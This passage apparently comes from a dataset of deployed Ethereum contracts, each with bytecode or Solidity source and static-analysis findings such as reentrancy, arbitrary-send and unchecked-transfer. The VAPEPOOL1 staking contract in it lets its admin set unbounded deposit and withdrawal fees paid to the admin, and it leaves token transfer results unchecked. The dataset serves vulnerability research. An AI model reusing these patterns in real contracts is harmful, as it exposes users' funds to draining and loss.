54600160a01b900460ff16156106c05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610465565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072057600080fd5b505afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107589190611952565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d89190611952565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082057600080fd5b505af1158015610834573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108589190611952565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103c8338484610c55565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016104659061191d565b60005b8151811015610525576001600660008484815181106108d6576108d661196f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109128161199b565b9150506108b5565b6000546001600160a01b031633146109445760405162461bcd60e51b81526004016104659061191d565b600061094f30610560565b905061055d81611090565b6000546001600160a01b031633146109845760405162461bcd60e51b81526004016104659061191d565b600e546109a69030906001600160a01b031669152d02c7e14af6800000610b31565b600e546001600160a01b031663f305d71947306109c281610560565b6000806109d76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3a57600080fd5b505af1158015610a4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7391906119b6565b5050600f8054681043561a8829300000601055683635c9adc5dea0000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055d91906119e4565b6001600160a01b038316610b935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b038216610bf45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b038216610d1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b60008111610d7d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610465565b6001600160a01b03831660009081526006602052604090205460ff1615610da357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610de557506001600160a01b03821660009081526005602052604090205460ff16155b15610f88576000600955600c54600a55600f546001600160a01b038481169116148015610e205750600e546001600160a01b03838116911614155b8015610e4557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e5a5750600f54600160b81b900460ff165b15610e95576000610e6a83610560565b9050601054821115610e7b57600080fd5b601154610e888383611219565b1115610e9357600080fd5b505b600f546001600160a01b038381169116148015610ec05750600e546001600160a01b03848116911614155b8015610ee557506001600160a01b03831660009081526005602052604090205460ff16155b15610ef6576000600955600b54600a555b6000610f0130610560565b600f54909150600160a81b900460ff16158015610f2c5750600f546001600160a01b03858116911614155b8015610f415750600f54600160b01b900460ff165b15610f86576000610f53600683611a01565b9050610f5f8183611a23565b9150610f6a81611278565b610f7382611090565b478015610f8357610f8347610fd2565b50505b505b610f938383836112ae565b505050565b60008184841115610fbc5760405162461bcd60e51b815260040161046591906116b8565b506000610fc98486611a23565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610525573d6000803e3d6000fd5b60006007548211156110735760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610465565b600061107d6112b9565b905061108983826112dc565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d8576110d861196f565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112c57600080fd5b505afa158015611140573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111649190611952565b816001815181106111775761117761196f565b6001600160a01b039283166020918202929092010152600e5461119d9130911684610b31565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d6908590600090869030904290600401611a3a565b600060405180830381600087803b1580156111f057600080fd5b505af1158015611204573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112268385611aab565b9050838110156110895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610465565b600f805460ff60a81b1916600160a81b179055801561129e5761129e3061dead83610c55565b50600f805460ff60a81b19169055565b610f9383838361131e565b60008060006112c6611415565b90925090506112d582826112dc565b9250505090565b600061108983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611459565b60008060008060008061133087611487565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136290876114e4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113919086611219565b6001600160a01b0389166000908152600260205260409020556113b381611526565b6113bd8483611570565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140291815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af680000061143282826112dc565b8210156114505750506007549269152d02c7e14af680000092509050565b90939092509050565b6000818361147a5760405162461bcd60e51b815260040161046591906116b8565b506000610fc98486611a01565b60008060008060008060008060006114a48a600954600a54611594565b92509250925060006114b46112b9565b905060008060006114c78e8787876115e9565b919e509c509a509598509396509194505050505091939550919395565b600061108983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f98565b60006115306112b9565b9050600061153e8383611639565b3060009081526002602052604090205490915061155b9082611219565b30600090815260026020526040902055505050565b60075461157d90836114e4565b60075560085461158d9082611219565b6008555050565b60008080806115ae60646115a88989611639565b906112dc565b905060006115c160646115a88a89611639565b905060006115d9826115d38b866114e4565b906114e4565b9992985090965090945050505050565b60008080806115f88886611639565b905060006116068887611639565b905060006116148888611639565b90506000611626826115d386866114e4565b939b939a50919850919650505050505050565b600082611648575060006103cc565b60006116548385611ac3565b9050826116618583611a01565b146110895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610465565b600060208083528351808285015260005b818110156116e5578581018301518582016040015282016116c9565b818111156116f7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055d57600080fd5b803561172d8161170d565b919050565b6000806040838503121561174557600080fd5b82356117508161170d565b946020939093013593505050565b60008060006060848603121561177357600080fd5b833561177e8161170d565b9250602084013561178e8161170d565b929592945050506040919091013590565b6000602082840312156117b157600080fd5b81356110898161170d565b801515811461055d57600080fd5b6000602082840312156117dc57600080fd5b8135611089816117bc565b600080604083850312156117fa57600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561183257600080fd5b823567ffffffffffffffff8082111561184a57600080fd5b818501915085601f83011261185e57600080fd5b81358181111561187057611870611809565b8060051b604051601f19603f8301168101818110858211171561189557611895611809565b6040529182528482019250838101850191888311156118b357600080fd5b938501935b828510156118d8576118c985611722565b845293850193928501926118b8565b98975050505050505050565b600080604083850312156118f757600080fd5b82356119028161170d565b915060208301356119128161170d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561196457600080fd5b81516110898161170d565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119af576119af611985565b5060010190565b6000806000606084860312156119cb57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119f657600080fd5b8151611089816117bc565b600082611a1e57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611a3557611a35611985565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a8a5784516001600160a01b031683529383019391830191600101611a65565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611abe57611abe611985565b500190565b6000816000190483118215151615611add57611add611985565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022563194ffac24a1ddb6a53edb0e0bb403a8dd441e045a4cdeb54b199edf83db64736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,209
0xb2f3d70aa89f4463aa684a41a46b6ada93a613b0
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause //BSD Zero Clause License: "SPDX-License-Identifier: <SPDX-License>" /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract VAPEPOOL1 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); //token contract addresses address public VAPEAddress; // reward rate % per year uint public rewardRate = 36000; uint public rewardInterval = 365 days; //farming fee in percentage uint public farmingFeeRate = 0; //unfarming fee in percentage uint public unfarmingFeeRate = 0; //unfarming possible Time uint public PossibleUnfarmTime = 48 hours; uint public totalClaimedRewards = 0; uint private ToBeFarmedTokens; bool public farmingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public farmingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0), "Invalid address format is not supported"); VAPEAddress = _tokenAddr; } function farmingFeeRateSet(uint _farmingFeeRate, uint _unfarmingFeeRate) public onlyOwner returns(bool){ farmingFeeRate = _farmingFeeRate; unfarmingFeeRate = _unfarmingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ ToBeFarmedTokens = _poolreward; } function possibleUnfarmTimeSet(uint _possibleUnfarmTime) public onlyOwner returns(bool){ PossibleUnfarmTime = _possibleUnfarmTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowFarming(bool _status) public onlyOwner returns(bool){ require(VAPEAddress != address(0), "Interracting token addresses are not yet configured"); farmingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == VAPEAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(VAPEAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToFarm) public { require(farmingStatus == true, "Staking is not yet initialized"); require(amountToFarm > 0, "Cannot deposit 0 Tokens"); require(Token(VAPEAddress).transferFrom(msg.sender, address(this), amountToFarm), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToFarm.mul(farmingFeeRate).div(1e4); uint amountAfterFee = amountToFarm.sub(fee); require(Token(VAPEAddress).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); farmingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(farmingTime[msg.sender]) > PossibleUnfarmTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unfarmingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(VAPEAddress).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(VAPEAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimRewards() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= ToBeFarmedTokens) { return 0; } uint remaining = ToBeFarmedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80637b0a47ee116100f9578063ded9721e11610097578063f2fde38b11610071578063f2fde38b1461042c578063f3f91fa014610452578063f851a44014610478578063fb8818e814610480576101c4565b8063ded9721e146103dd578063e580c50514610400578063f1587ea114610424576101c4565b8063bec4de3f116100d3578063bec4de3f1461039f578063c326bf4f146103a7578063d578ceab146103cd578063de2f41b5146103d5576101c4565b80637b0a47ee14610369578063a2f49ae514610371578063b01356b214610397576101c4565b8063381ffd6b116101665780634908e386116101405780634908e386146102d3578063538a85a1146102f05780636270cd181461030d5780636a395ccb14610333576101c4565b8063381ffd6b1461028f57806338443177146102ae5780633e67c7d1146102cb576101c4565b80631e94723f116101a25780631e94723f1461023f5780631f0b384014610277578063308feec31461027f578063372500ab14610287576101c4565b8063069ca4d0146101c95780630d2adb90146101fa5780631c885bae14610220575b600080fd5b6101e6600480360360208110156101df57600080fd5b503561049d565b604080519115158252519081900360200190f35b6101e66004803603602081101561021057600080fd5b50356001600160a01b03166104be565b61023d6004803603602081101561023657600080fd5b503561053f565b005b6102656004803603602081101561025557600080fd5b50356001600160a01b031661084a565b60408051918252519081900360200190f35b6101e66108fd565b610265610906565b61023d610918565b6101e6600480360360208110156102a557600080fd5b50351515610923565b6101e6600480360360208110156102c457600080fd5b5035610997565b6102656109b8565b6101e6600480360360208110156102e957600080fd5b50356109be565b61023d6004803603602081101561030657600080fd5b50356109df565b6102656004803603602081101561032357600080fd5b50356001600160a01b0316610cd4565b61023d6004803603606081101561034957600080fd5b506001600160a01b03813581169160208101359091169060400135610ce6565b610265610dc0565b6102656004803603602081101561038757600080fd5b50356001600160a01b0316610dc6565b610265610dd8565b610265610dde565b610265600480360360208110156103bd57600080fd5b50356001600160a01b0316610de4565b610265610df6565b610265610dfc565b6101e6600480360360408110156103f357600080fd5b5080359060200135610e02565b610408610e26565b604080516001600160a01b039092168252519081900360200190f35b610265610e35565b61023d6004803603602081101561044257600080fd5b50356001600160a01b0316610e69565b6102656004803603602081101561046857600080fd5b50356001600160a01b0316610eee565b610408610f00565b6101e66004803603602081101561049657600080fd5b5035610f0f565b600080546001600160a01b031633146104b557600080fd5b60039190915590565b600080546001600160a01b031633146104d657600080fd5b6001600160a01b03821661051b5760405162461bcd60e51b81526004018080602001828103825260278152602001806112d86027913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b336000908152600c60205260409020548111156105a3576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d60205260409020546105c1904290610f30565b116105fd5760405162461bcd60e51b815260040180806020018281038252603b81526020018061129d603b913960400191505060405180910390fd5b61060633610f47565b6000610629612710610623600554856110db90919063ffffffff16565b90611102565b905060006106378383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b505050506040513d60208110156106bd57600080fd5b5051610710576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b50516107e1576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600c60205260409020546107fb9084610f30565b336000818152600c602052604090209190915561081a90600a90611117565b80156108335750336000908152600c6020526040902054155b1561084557610843600a3361112c565b505b505050565b6000610857600a83611117565b610863575060006108f8565b6001600160a01b0382166000908152600c6020526040902054610888575060006108f8565b6001600160a01b0382166000908152600e60205260408120546108ac904290610f30565b6001600160a01b0384166000908152600c602052604081205460035460025493945090926108f291612710916106239190829088906108ec9089906110db565b906110db565b93505050505b919050565b60095460ff1681565b6000610912600a611141565b90505b90565b61092133610f47565b565b600080546001600160a01b0316331461093b57600080fd5b6001546001600160a01b03166109825760405162461bcd60e51b81526004018080602001828103825260338152602001806112ff6033913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600080546001600160a01b031633146109af57600080fd5b60089190915590565b60065481565b600080546001600160a01b031633146109d657600080fd5b60029190915590565b60095460ff161515600114610a3b576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610a90576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610aea57600080fd5b505af1158015610afe573d6000803e3d6000fd5b505050506040513d6020811015610b1457600080fd5b5051610b67576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610b7033610f47565b6000610b8d612710610623600454856110db90919063ffffffff16565b90506000610b9b8383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b505050506040513d6020811015610c2157600080fd5b5051610c74576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c6020526040902054610c8e908261114c565b336000818152600c6020526040902091909155610cad90600a90611117565b61084557610cbc600a3361115b565b50336000908152600d60205260409020429055505050565b600f6020526000908152604090205481565b6000546001600160a01b03163314610cfd57600080fd5b6001546001600160a01b0384811691161415610d3857610d1b610e35565b811115610d2757600080fd5b600754610d34908261114c565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d8f57600080fd5b505af1158015610da3573d6000803e3d6000fd5b505050506040513d6020811015610db957600080fd5b5050505050565b60025481565b600d6020526000908152604090205481565b60055481565b60035481565b600c6020526000908152604090205481565b60075481565b60045481565b600080546001600160a01b03163314610e1a57600080fd5b60049290925560055590565b6001546001600160a01b031681565b600060085460075410610e4a57506000610915565b6000610e63600754600854610f3090919063ffffffff16565b91505090565b6000546001600160a01b03163314610e8057600080fd5b6001600160a01b038116610e9357600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600e6020526000908152604090205481565b6000546001600160a01b031681565b600080546001600160a01b03163314610f2757600080fd5b60069190915590565b600082821115610f3c57fe5b508082035b92915050565b6000610f528261084a565b905080156110be576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610fb057600080fd5b505af1158015610fc4573d6000803e3d6000fd5b505050506040513d6020811015610fda57600080fd5b505161102d576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600f6020526040902054611050908261114c565b6001600160a01b0383166000908152600f6020526040902055600754611076908261114c565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600e60205260409020429055565b60008282028315806110f55750828482816110f257fe5b04145b6110fb57fe5b9392505050565b60008082848161110e57fe5b04949350505050565b60006110fb836001600160a01b038416611170565b60006110fb836001600160a01b038416611188565b6000610f418261124e565b6000828201838110156110fb57fe5b60006110fb836001600160a01b038416611252565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561124457835460001980830191908101906000908790839081106111bb57fe5b90600052602060002001549050808760000184815481106111d857fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061120857fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f41565b6000915050610f41565b5490565b600061125e8383611170565b61129457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f41565b506000610f4156fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564a264697066735822122020f535bb50d5c2f97d81042c845fae19b7cc84371e74a0345b5455911c63b78364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,210
0x75f869f1cbf81f031e5623a7bb2712a901cba22b
/** *Submitted for verification at Etherscan.io on 2020-10-21 */ pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, 